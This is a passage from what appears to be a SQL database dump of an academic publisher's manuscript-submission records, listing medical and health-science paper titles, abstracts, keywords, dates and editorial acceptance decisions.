','',2805,NULL,'2023-06-29',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Acepted to submit',0,'','',NULL,0,0,0,NULL,0),(13885,13984,277,0,'ipadm-23-13885','Safety Profile of Antidiabetic Agents: Understanding the Benefits and Risks',NULL,13,0,'',' ','',2805,NULL,'2023-06-29',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Accepted to submit.',0,'','',NULL,0,0,0,NULL,0),(13886,13955,45,0,'iphsj-23-13886','WORLD PRIMARY HEALTH CARE: CAPACITY BUILDING AND STATUS UPDATE',NULL,3,0,'','  ','',4076,NULL,'2023-06-29',NULL,'Submitted',2,NULL,'2023-07-05',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13887,13985,45,0,'iphsj-23-13887','A trending explanation of Youth Mental Health: Challenges and Opportunities',NULL,19,0,'','Youth mental health is currently a trending topic, drawing attention to the challenges faced by young individuals and the opportunities available to support their well-being. The challenges include the persistent stigma and discrimination surrounding mental health, high levels of stress due to academic and societal pressures, cyber bullying and online harassment, and limited access to mental health services. However, there are promising opportunities to address these challenges. Promoting mental health literacy through education and awareness campaigns, creating supportive environments within schools and communities, leveraging technological advancements to enhance accessibility to mental health resources, and focusing on early intervention and prevention strategies are among the key opportunities. By recognizing and addressing these challenges while embracing the opportunities, we can work towards ensuring the mental well-being of the youth, paving the way for a healthier and resilient generation.','Youth mental health, Challenges, Opportunities, Stigma and discrimination Stress, cyber bullying, Online harassment, Access to mental health services, Mental health literacy, Supportive environments, Technological advancements, Early intervention, Prevention',643,NULL,'2023-06-30',NULL,'Submitted',2,NULL,'2023-07-05',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13888,13986,73,0,'ipjnn-23-13888',' Internal carotid artery',NULL,3,2,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',5353,NULL,'2023-07-01',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13889,13987,91,0,'ijddr-23-13889','Formulation of baclofen microemulsion and validation of analytical method for quantitative estimation by UV spectroscopy',NULL,14,2,'','Baclofen is a centrally acting skeletal muscle relaxant used to treat muscle spasticity and multiple sclerosis. Baclofen hydrophilic characteristics make it challenging for it to cross the blood-brain barrier, resulting in a bioavailability of less than 60%. The current study\'s objectives are to develop, optimise, and validate a analytical method for the quantitative estimation of Baclofen by UV-visible spectrophotometer in accordance with ICH guidelines, as well as to improve the bioavailability and efficacy of drug release by formulating microemulsion of Baclofen. Four different batches were formulated on the bases of S/Cos ratios 3:1, 3.5:1, 4.5:1, and 1.5:1 respectively by water titration method. Tween 80, span 80 and PEG 400 were blended together to form a homogeneous mixture, Baclofen was dissolved in oil phase. Oil phase and Surfactant mixture were mixed slowly with continuous trituration. Drop wise additions of water were made to the existing mixture, which was stirred for 30 minutes at 3000 rpm on a magnetic stirrer.The result of FTIR study were indicated compatibility in between Baclofen and excipients. On the bases of solubility studies 0.1 N NaOH was selected for analytical method validation. The Æ›max and Regression Equation found to be 221nm and Y=0.0603x+0.0207, R2= 0.999. The result of all analytical validation parameters was not exceeding by 2% RSD value. Out of all batches M1 shows more transparent, no phase separation, pH of 6.7, particle size 100nm, low viscosity and 96.73% drug content value. It exhibited good stability over the course of the six-month stability tests, with no significant changes in its physicochemical characteristics. Hence, it was concluded that the microemulsion formulation of Baclofen is a potential method for oral delivery that will increase bioavailability. ','Baclofen, Microemulsion, Analytical method, 0.1 NaOH, Tween 80, Castor oil, Polyethylene glycol',5033,NULL,'2023-07-01',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13890,13988,73,0,'ipjnn-23-13890','Postoperative neurological complication and various arterial territories involved in patients undergoing congenital cardiac Surgery: A single centre retrospective analysis',NULL,2,0,'','        ','Neurological deficits, congenital cardiac Surgery, non-contrast computed tomography brain (NCCT)',326,NULL,'2023-07-01',NULL,'Submitted',12,NULL,'2023-07-03',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13892,13679,91,0,'ijddr-23-13892','Antiproliferative effect of Ocimum sanctum Against Benzo[A]pyrene Induced Lung Tumours in Rats',NULL,14,0,'','The disease of lung has increased manyfolds in the recent times. Unfortunately, the lung cancer disease cases have also been reported many times. Although, smoking and tobacco products are thought to be the causative agent. But the environmental pollution has elevated the disease risk. Among the common carcinogens, Benzo[A]pyrene is one of the known carcinogens which is directly responsible for the cause of the disease. It is a member of polycyclic aromatic hydrocarbon group and is usually generated during the partial burning of organic matter. Benzo(a)pyrene has been shown to inflict damage on the lungs as well as liver. Thus, the present study has been aimed to study the anticancer activity of Ocimum sanctum leaf extract on Benzo[A]pyrene induced lung cancer in rats. Male Charles Foster rats, 6 weeks old weighing around (150-180 g) were used for the study and were induced Benzo[A]pyrene (25 mg/Kg dissolved in Olive oil) orally in two intervals (1st day and 14th day) and were left for 3 months. After 3 months, there were development of lung tumours, which were histopathologically confirmed. Thereafter, Ocimum sanctum leaf extract at the dose of 200mg/Kg body weight was administered to the rats for 5 weeks. After the treatment there was significant reduction in the lung tumour size in the studied rats. All the parameters were studied and their data were analysed. The haematological parameters, the biochemical parameters and the histopathological parameters were also correlated for the efficacy of the drug.\r\nThrough the entire study, it can be concluded that, leaf extract of Ocimum sanctum possesses antiproliferative effect against Benzo[A]pyrene induced lung cancer. This drug after various trials can be recommended as therapeutic drug for lung cancer disease in the future.','Benzo[A]pyrene induced lung model; Tumour volume, biochemical parameters study, histopathological study, leaf extract of Ocimum sanctum, antiproliferative activity, novel drug discovery.',5033,NULL,'2023-07-02',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Accept for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(13893,13985,45,0,'iphsj-23-13893','Healthcare Artificial Intelligence: Transforming the Future of Medicine',NULL,5,0,'','   ','',4076,NULL,'2023-07-03',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13894,13978,45,0,'iphsj-23-13894','A Case Report on an Account of How Genetics and Genomic Medicine Have Changed Clinical Practice',NULL,2,0,'','Genetics and genomic medicine have revolutionized the field of healthcare, enabling personalized and targeted approaches to diagnosis, treatment, and prevention of diseases. This case report highlights the role of genetics and genomic medicine in the diagnosis and management of a rare genetic disorder. The patient presented with a complex clinical phenotype, and through the utilization of various genetic testing modalities and interpretation of genomic data, a definitive diagnosis was achieved. This case exemplifies the transformative power of genetics and genomic medicine and emphasizes the importance of integrating these advancements into routine clinical practice.','genetics, genomic medicine, personalized medicine, genetic testing, rare genetic disorder',4076,NULL,'2023-07-03',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13895,13937,45,0,'iphsj-23-13895','Immunotherapy as a Cancer Treatment Option in the Future',NULL,6,0,'','  ','',643,NULL,'2023-07-03',NULL,'Submitted',2,NULL,'2023-07-06',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13896,13990,277,0,'ipadm-23-13896','Optimizing Antidiabetic Therapy: Strategies for Personalized Diabetes Treatment with Antidiabetic Agents',NULL,19,0,'  ',' ',' ',2805,NULL,'2023-07-03',NULL,'Submitted',2,NULL,'2023-08-03',NULL,1,1,'1','Accepted to submit.',0,'','',NULL,0,0,0,NULL,0),(13897,13988,73,0,NULL,'Postoperative neurological deficits with incidence and the various arterial territories involved in patients undergoing congenital cardiac Surgery: A single centre analysis',NULL,2,0,'','','',326,NULL,'2023-07-04',NULL,'Submitted',4,NULL,'2023-07-04',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13898,13991,45,0,'iphsj-23-13898','AWARENESS, ATTITUDE AND KNOWLEDGE OF COLORECTAL CANCER (CRC) IN SAUDI ARABIA: A SYSTEMATIC REVIEW STUDY',NULL,14,0,'','Introduction: Colorectal cancer is one of the most popular cancers according to the World Health Organization at the moment. Its effects are greatly felt across the world but mostly by developing countries across the world. Its prevalence in Saudi Arabia has been on the rise in recent years. This systematic review aimed at determining the awareness, attitude, and knowledge of colorectal cancer in Saudi Arabia. \r\nMethodology: This systematic review was conducted using 5 different electronic databases. These are Scopus, Google scholar, CINAHIL, Medline, and PubMed. Articles published between 2014 to 2020 were included in the study. They must have been published in English language. All the relevant articles were reviewed and a data extraction sheet was made for the analysis.\r\nResults: 13 articles met the inclusion and exclusion criteria. All the studies focused on both male and female participants. All the articles had participants aged 18 and above. All the articles illustrated that there was low knowledge of colorectal cancer and its effects. Most of the studies utilized female participants as the majority. Men were better informed about CRC compared to their female counterparts. Furthermore, level of education appeared to be crucial for one to be knowledgeable on CRC. Those with a medical background were more likely to have more knowledge and attitude. \r\nConclusion: The results of the study illustrated that there was very little knowledge available about CRC and its tests. Its effects were not well known. The tests that are done to confirm its presence were also minimally known amongst the participants of the study and by extension the citizens of Saudi Arabia. These results will aid in the formulation of a public health strategy to address CRC knowledge, awareness, and improve the attitude of the citizens of Saudi Arabia.','Colorectal cancer, awareness, knowledge, attitude, Saudi Arabia.',5375,NULL,'2023-07-05',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13899,13992,91,0,'ijddr-23-13899','Common weed\'s phytochemical analysis and in-vitro antibacterial activity ',NULL,14,2,'','Alkaloids, flavonoids, steroids, and phenolic compounds are among the phytochemicals that have a significant impact on antimicrobial activity. These substances can be derived from several plant components, including the roots, stems, and leaves, and are used to treat bronchitis, cholera, dysentery, fever, and diarrhea. In this work, the phytochemicals from the dried leaves of Parthenium, Datura stramonium, and Calotropis gigantea are attempted to be extracted. These weeds are frequently found in India and are members of the Asteraceae, Solanaceae, and Apocynaceae families, respectively. The presence of phytochemicals, the effectiveness of the antibacterial effect on nine selected bacterial species, and the antifungal activity on eight fungi obtained from the Genohelix lab were all tested using aqueous, methanol, and n-hexane extracts. Aqueous and methanolic extracts from Datura stramonium and Calotropis gigantea revealed the presence of alkaloids and phenolic compounds, however, n-hexane extracts from all of the test plants failed to detect any phytochemical components. When compared to the conventional antibiotic penicillin, the antibacterial activity of Datura stramonium was most efficient against Staphylococcus citrus with a zone inhibition of 18 mm; however, antifungal activity was not as effective. ','Datura starmonium, Lantana camara, Calotropis, antifungal activity and antibacterial activity. ',5455,NULL,'2023-07-07',NULL,'Submitted',2,NULL,'2023-10-12',NULL,1,1,'0','Accept for Publication',0,'','',NULL,0,0,0,NULL,0),(13901,13994,86,0,'ipaom-23-13901','Advancements in critical care units: Transforming patient outcomes',NULL,17,0,'','Critical care units play a pivotal role in healthcare, providing specialized and intensive care for patients with life-threatening conditions. These units, often known as Intensive Care Units (ICUs), are designed to monitor and treat patients who require constant medical attention, advanced life support, and sophisticated monitoring equipment. Over the years, critical care units have witnessed significant advancements, leading to improved patient outcomes and better survival rates. This article explores the evolution of critical care units, highlighting the key components, advancements, challenges, and the future of critical care.','Critical care units, Physicians, Artificial Intelligence',2890,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13902,13995,86,0,'ipaom-23-13902','Environmental medicine: The critical link between human health and the environment',NULL,3,0,'','In recent decades, there has been an increasing recognition of the profound impact that the environment has on human health. The emerging field of environmental medicine seeks to understand and address the complex interactions between environmental factors and human well-being. From air and water pollution to hazardous chemicals and climate change, environmental medicine investigates the potential health risks associated with these factors and explores strategies to mitigate their harmful effects. In this article, we delve into the realm of environmental medicine, examining its importance, key areas of focus, and the role it plays in safeguarding our health and the planet.','Environmental medicine, Human Health',2890,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13903,13996,86,0,'ipaom-23-13903','Forensic medicine: Unveiling the secrets of justice and truth',NULL,11,0,'','Forensic medicine, also known as forensic pathology or legal medicine, is a captivating field that intersects the realms of medicine and law. It plays a vital role in the criminal justice system by utilizing medical expertise to investigate and provide evidence in legal cases. By applying scientific knowledge and techniques, forensic medicine assists in solving crimes, identifying victims, and delivering justice. In this article, we explore the fascinating world of forensic medicine, its methodologies, and its impact on society.','Forensic medicine, Pathology, Legal investigations',2890,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13904,13997,86,0,'ipaom-23-13904','Occupational health: Prioritizing well-being in the workplace',NULL,19,0,'','In today\'s fast-paced and competitive world, occupational health plays a critical role in promoting the well-being of individuals in their workplace environments. With a significant portion of our lives spent at work, ensuring a safe and healthy work environment is essential for both employees and employers. Occupational health focuses on identifying and addressing work-related hazards, promoting preventive measures, and supporting the physical and mental well-being of workers. In this article, we will explore the importance of occupational health, its key components, the benefits it offers to individuals and organizations, and strategies for creating a healthier and more productive work environment.','Occupational health, Hazards, Risk assessments',3799,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13905,13998,86,0,'ipaom-23-13905','Pharmacognosy: Exploring the science of medicinal plants',NULL,12,0,'','Pharmacognosy is an ancient science that focuses on the study of medicinal plants and natural sources for the discovery, identification, and development of therapeutic compounds. Derived from the Greek words \"pharmakon\" meaning drug and \"gnosis\" meaning knowledge, pharmacognosy encompasses a wide range of disciplines, including botany, chemistry, ethnobotany, and pharmacology. This interdisciplinary field has played a vital role in the development of modern medicine, providing a foundation for the isolation and characterization of biologically active compounds from natural sources. In this article, we will delve into the fascinating world of pharmacognosy, exploring its history, methodologies, and contributions to healthcare.','Pharmacognosy, Therapeutic compounds, Diseases',3799,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13906,13999,86,0,'ipaom-23-13906','Psychiatry: Advancements, challenges and the evolving landscape',NULL,19,0,'','Psychiatry, the medical specialty focused on diagnosing, treating, and preventing mental disorders, has witnessed significant advancements and transformations since the turn of the millennium. The field has made remarkable strides in understanding the complex interplay between biology, psychology, and social factors that contribute to mental health issues. This article explores the progress made in psychiatry over the past two decades, the challenges faced, and the evolving landscape that shapes the future of mental healthcare.','Psychiatry, Magnetic Resonance, Behavioral Therapy',3868,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13907,14000,86,0,'ipaom-23-13907','Radiology: Advancements, applications and impact in modern healthcare',NULL,11,0,'','Radiology, the medical specialty that utilizes imaging techniques to diagnose and treat diseases, has undergone significant advancements and transformations in recent years. The field plays a crucial role in modern healthcare by providing invaluable insights into the human body, aiding in the detection, diagnosis, and monitoring of various medical conditions. This article explores the progress made in radiology over the past decades, the diverse applications of imaging modalities, and the impact it has on patient care.','Radiology, Diseases, Tomography',3978,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13908,14001,86,0,'ipaom-23-13908','The power of health education: Empowering individuals for a better future',NULL,17,0,'','Health education is an essential component of public health initiatives aimed at promoting well-being and preventing diseases. It equips individuals with the knowledge and skills needed to make informed decisions about their health, adopt healthy behaviors, and ultimately lead fulfilling lives. By fostering awareness, promoting preventive measures, and encouraging responsible choices, health education plays a crucial role in improving individual and community health outcomes. In this article, we delve into the significance of health education, its benefits, and the various ways it empowers individuals to take charge of their well-being.','Health education, Public health, Diseases',1639,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13909,14002,86,0,'ipaom-23-13909','Urology: Advancements and breakthroughs in the field of urinary tract health',NULL,3,0,'','Urology is a medical specialty that focuses on the diagnosis and treatment of conditions related to the urinary tract system in both males and females. This branch of medicine deals with a wide range of disorders, including urinary tract infections, kidney stones, urinary incontinence, prostate diseases, and urologic cancers. Over the years, urology has witnessed significant advancements and breakthroughs, revolutionizing the diagnosis, treatment, and management of urologic conditions. In this article, we will explore some of the key developments that have shaped the field of urology in recent years.','Urology, Treatment, Diagnosis',3195,NULL,'2023-07-12',NULL,'Submitted',2,NULL,'2023-07-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13910,14003,73,0,'ipjnn-23-13910','Advances in Neuroimaging Techniques for Studying Brain Connectivity in Neurological Disorders',NULL,5,0,'','  ','  ',32587,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13911,14004,73,0,'ipjnn-23-13911','Emerging Therapeutic Approaches for Neurological Disorders: Targeting Neurotransmitter Systems',NULL,5,0,'','   ','  ',32727,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13912,14005,73,0,'ipjnn-23-13912','Neuroplasticity and Neurorehabilitation: Harnessing the Brain\'s Ability to Recover and Adapt',NULL,5,0,'','  ','  ',32987,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13913,14006,73,0,'ipjnn-23-13913','The Impact of Sleep on Brain Health: Mechanisms and Implications for Neurological Disorders',NULL,5,0,'','  ','  ',35621,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13914,14007,73,0,'ipjnn-23-13914','The Role of Epigenetics in Neurodevelopmental Disorders: Insights into Mechanisms and Therapeutic Strategies',NULL,5,0,'','  ','  ',35765,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13915,14008,73,0,'ipjnn-23-13915','The Role of Microglia in Neuroinflammation and Neurodegenerative Diseases: Mechanisms and Therapeutic Targets',NULL,5,0,'','   ','  ',35950,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13916,14009,73,0,'ipjnn-23-13916','Understanding the Gut-Brain Axis: Implications for Neurological Disorders and Mental Health',NULL,5,0,'','  ','  ',36040,NULL,'2023-07-13',NULL,'Submitted',2,NULL,'2023-07-17',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13917,14010,277,0,'ipadm-23-13917','Asociación entre el momento de inicio de la terapia antirretroviral en gestantes viviendo con VIH y el bajo peso al nacer en una cohorte del departamento de Antioquia',NULL,14,0,'','Introduction: In Colombia, HIV infection continues to be a public health problem. Although mother-to-child transmission of HIV has shown a significant reduction, there are still cases of pregnant women living with HIV who receive late antiretroviral therapy (HAART), which could generate unfavorable outcomes in newborns such as low birth weight, prematurity and intrauterine growth restriction. Objective: To evaluate whether there is an association between the time of initiation of ART and low birth weight in a cohort of children perinatally exposed to HIV in the department of Antioquia. Materials and methods: An observational, retrospective study was conducted in a cohort of HIV-exposed children treated at the IPS CIB Salud in Medellín, Antioquia, between 2016 and 2020. Results: The proportion of\r\nchildren with low birth weight was 14.81% (CI 8.21 - 24.84); the time at which the mother started HAART does not have an influence on low birth weight. We found a crude association between low birth weight with the variables maternal age, gestational age, and time since HIV diagnosis. Conclusions: These findings support the importance of HAART in improving perinatal outcomes, promoting research into the causes of low birth weight in order to decrease the risks associated with this outcome.','HIV infection, low birth weight newborn, Highly Active Antiretroviral Therapy (HAART), Gestation.',5023,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-18',NULL,1,1,'1','accept to publish.',0,'','',NULL,0,0,0,NULL,0),(13918,14011,971,0,'ipaclr-23-13918','Emergency response and Contingency Planning in High-Level Biosafety Laboratories',NULL,17,0,'','','',5381,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-09',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13919,14012,971,0,'ipaclr-23-13919','Vaccine Development and Distribution: CDC\'s Efforts in Disease Prevention',NULL,11,0,'','','',3249,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-09',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13920,14013,971,0,'ipaclr-23-13920','Quality Assurance and Quality Control in High-Level Biosafety Laboratory Operations',NULL,13,0,'','','',4933,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-09',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13921,14014,971,0,'ipaclr-23-13921','Lymphatic Vessels and Immunotherapy: Enhancing Anti-cancer Immune Responses',NULL,3,0,'','','',59066,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-09',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13922,14015,971,0,'ipaclr-23-13922','Evaluating Hepatitis Clinical Trials: An Analysis of Gender Disparities in Women\'s Health Outcomes',NULL,12,0,'','','',3236,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-24',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13923,14016,971,0,'ipaclr-23-13923','Air Pollution and Impaired Immune Function in Animals',NULL,19,0,'','','',59067,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-24',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13924,14017,971,0,'ipaclr-23-13924','The Vital Flow: Understanding and Managing Blood Products in Clinical Practice',NULL,11,0,'','','',59068,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-09',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13925,14018,971,0,'ipaclr-23-13925','Antimicrobial Susceptibility Patterns of Mycobacterium ulcerans Isolates: Implications for Buruli Ulcer Treatment',NULL,12,0,'','','',59069,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-24',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13926,14019,971,0,'ipaclr-23-13926','Antiviral drug screening and development for Nipah Virus Infection: Laboratory trials and insights',NULL,17,0,'','','',59070,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-08-24',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13927,14020,971,0,'ipaclr-23-13927','Toxemia and Chronic Inflammation: Diagnostic Challenges and Treatment Approaches',NULL,25,0,'','','',59071,NULL,'2023-07-14',NULL,'Submitted',2,NULL,'2023-09-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13929,14023,45,0,'iphsj-23-13929','Mobile Phone Applications for Health Behavior Change: Empowering Individuals to Lead Healthier Lives',NULL,5,0,'','In recent times, mobile phone applications (apps) have emerged as powerful tools in promoting health behavior change. The widespread accessibility of smartphones has made these apps readily available to individuals, offering unique opportunities to influence positive behavioral shifts and improve health outcomes. This article delves into the role of mobile phone applications in fostering health behavior change and their potential impact on individual and public health.','',4076,NULL,'2023-07-17',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13930,14024,251,0,'ipacm-23-13930','Cholera: A Devastating Waterborne Disease',NULL,19,2,'','Cholera is an acute diarrheal disease caused by the bacterium Vibrio cholerae. It is primarily transmitted through the consumption of contaminated food and water, leading to rapid and severe dehydration. Cholera has been a major public health concern, particularly in regions with inadequate sanitation and limited access to clean drinking water. This abstract provides an overview of cholera, including its epidemiology, clinical features, pathogenesis, diagnosis, treatment, and prevention strategies. Additionally, it highlights the importance of global efforts in improving sanitation infrastructure, promoting hygiene practices, and developing effective vaccines to control and eradicate cholera.','Cholera, Vibrio cholerae, diarrheal disease, dehydration, sanitation, contaminated water, epidemiology, pathogenesis, diagnosis, treatment, prevention, vaccine',788,NULL,'2023-07-18',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13931,14025,251,0,'ipacm-23-13931','Clinical Microbiology: Unveiling the Secrets of Infectious Diseases',NULL,15,2,'','Clinical microbiology is a branch of medical science that focuses on the identification, diagnosis, and treatment of infectious diseases caused by microorganisms. It plays a critical role in patient care by providing valuable insights into the causative agents of infections, guiding appropriate antimicrobial therapy, and monitoring the spread of antimicrobial resistance. This field encompasses various laboratory techniques and methodologies, including culture, microscopy, molecular diagnostics, and antimicrobial susceptibility testing. By studying the complex interactions between pathogens and the human host, clinical microbiology contributes to the development of preventive strategies, the advancement of diagnostic tools, and the improvement of infection control measures. This abstract provides an overview of clinical microbiology, highlighting its importance in the healthcare setting and its impact on public health.\r\nClinical microbiology is a branch of medical science that focuses on the identification, diagnosis, and treatment of infectious diseases caused by microorganisms. It plays a crucial role in patient care, public health, and the development of effective antimicrobial strategies. This abstract provides an overview of the key aspects of clinical microbiology, including its significance, laboratory techniques, and the impact of molecular diagnostics. In clinical microbiology, the primary objective is to identify the causative agent responsible for an infection, determine its susceptibility to antimicrobial agents, and provide accurate information for appropriate patient management. Microorganisms such as bacteria, viruses, fungi, and parasites are analyzed using a range of laboratory techniques. These include culture-based methods, serological tests, molecular assays, and advanced technologies like next-generation sequencing.','clinical microbiology, infectious diseases, microorganisms, diagnosis, antimicrobial therapy, laboratory techniques, molecular diagnostics, antimicrobial susceptibility testing, infection control, public health.',783,NULL,'2023-07-18',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13932,13712,85,0,'iphspr-23-13932','Health Care Management: Navigating the Challenges and Shaping the Future',NULL,5,0,'','Healthcare management plays a vital role in ensuring the efficient and effective delivery of healthcare services. It encompasses a wide range of activities, including strategic planning, resource allocation, financial management, quality assurance, and organizational leadership. This abstract provides an overview of healthcare management, highlighting its significance in improving healthcare outcomes and addressing the challenges faced in the healthcare industry. It emphasizes the importance of strong leadership, evidence-based decision-making, and collaboration among various stakeholders to optimize healthcare delivery and enhance patient care. Healthcare management plays a crucial role in ensuring the effective and efficient delivery of healthcare services. As the healthcare industry continues to evolve, with increasing complexities and challenges, effective management becomes paramount. This abstract provides an overview of healthcare management, its importance, and the key components involved in managing healthcare organizations. It also highlights the significance of effective healthcare management in achieving improved patient outcomes, optimizing resource utilization, and navigating the dynamic healthcare landscape.','healthcare management, strategic planning, resource allocation, financial management, quality assurance, organizational leadership, healthcare outcomes, evidence-based decision-making, collaboration, patient care.',2141,NULL,'2023-07-18',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13933,13712,85,0,'iphspr-23-13933','Health Human Resources: The Cornerstone of Efficient and Effective Healthcare Systems',NULL,5,0,'','Health human resources (HHR) play a crucial role in the delivery of quality healthcare services and the overall functioning of the healthcare system. This abstract provides an overview of the key aspects related to health human resources, including the recruitment, training, deployment, and retention of healthcare professionals. It highlights the challenges and issues faced in managing HHR, such as workforce shortages, maldistribution, and skill mix imbalances. Additionally, it explores the strategies and policies implemented to address these challenges and optimize the utilization of health human resources. The abstract emphasizes the importance of effective HHR planning and management in ensuring a sustainable and resilient healthcare workforce, capable of meeting the evolving needs of populations worldwide.','Health,  Human Resources, utilization, workforce',3282,NULL,'2023-07-18',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13934,13712,85,0,'iphspr-23-13934','Revolutionizing Healthcare Delivery: Transforming Patient Care in the 21st Century',NULL,5,0,'','Healthcare delivery plays a critical role in ensuring the well-being of individuals and populations. It encompasses a broad range of activities and processes aimed at providing timely, efficient, and effective healthcare services to patients. This abstract provides an overview of the key aspects of healthcare delivery, including its objectives, challenges, and strategies for improvement.\r\nHealthcare delivery plays a pivotal role in ensuring the well-being and longevity of individuals, communities, and societies at large. The effective and efficient delivery of healthcare services is essential for the prevention, diagnosis, treatment, and management of diseases and the promotion of overall health. This abstract provides an overview of the key components, challenges, and advancements in healthcare delivery, highlighting its critical importance in achieving optimal health outcomes for individuals and populations. It also examines the role of technology and innovation in shaping the future of healthcare delivery and explores the need for collaborative efforts among healthcare professionals, policymakers, and stakeholders to address the evolving healthcare needs of a rapidly changing world.','Healthcare delivery, healthcare services, patient care, healthcare systems, healthcare management, healthcare quality, healthcare access, healthcare outcomes, healthcare technology, healthcare policy.',3282,NULL,'2023-07-18',NULL,'Submitted',2,NULL,'2023-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13935,13712,85,0,'iphspr-23-13935','Human Health Rights: Ensuring Universal Access to Healthcare',NULL,5,0,'','Human health rights are fundamental principles that recognize every individual\'s entitlement to the highest attainable standard of physical and mental well-being. These rights encompass various aspects, including access to healthcare, essential medicines, clean water, sanitation, and a safe environment. Upholding human health rights is crucial for promoting social justice, reducing health inequalities, and ensuring the overall welfare of populations. This abstract explores the concept of human health rights, highlighting their significance in protecting and promoting the health and well-being of individuals worldwide.\r\nHuman health rights are fundamental entitlements that ensure individuals\' physical, mental, and social well-being. These rights form the basis for equitable access to healthcare, protection from harm, and the opportunity to lead a healthy life. Recognizing human health as a universal right has gained significant attention in international law and human rights discourse. This abstract explores the concept of human health rights, their historical development, and their significance in promoting global health equity. It highlights the 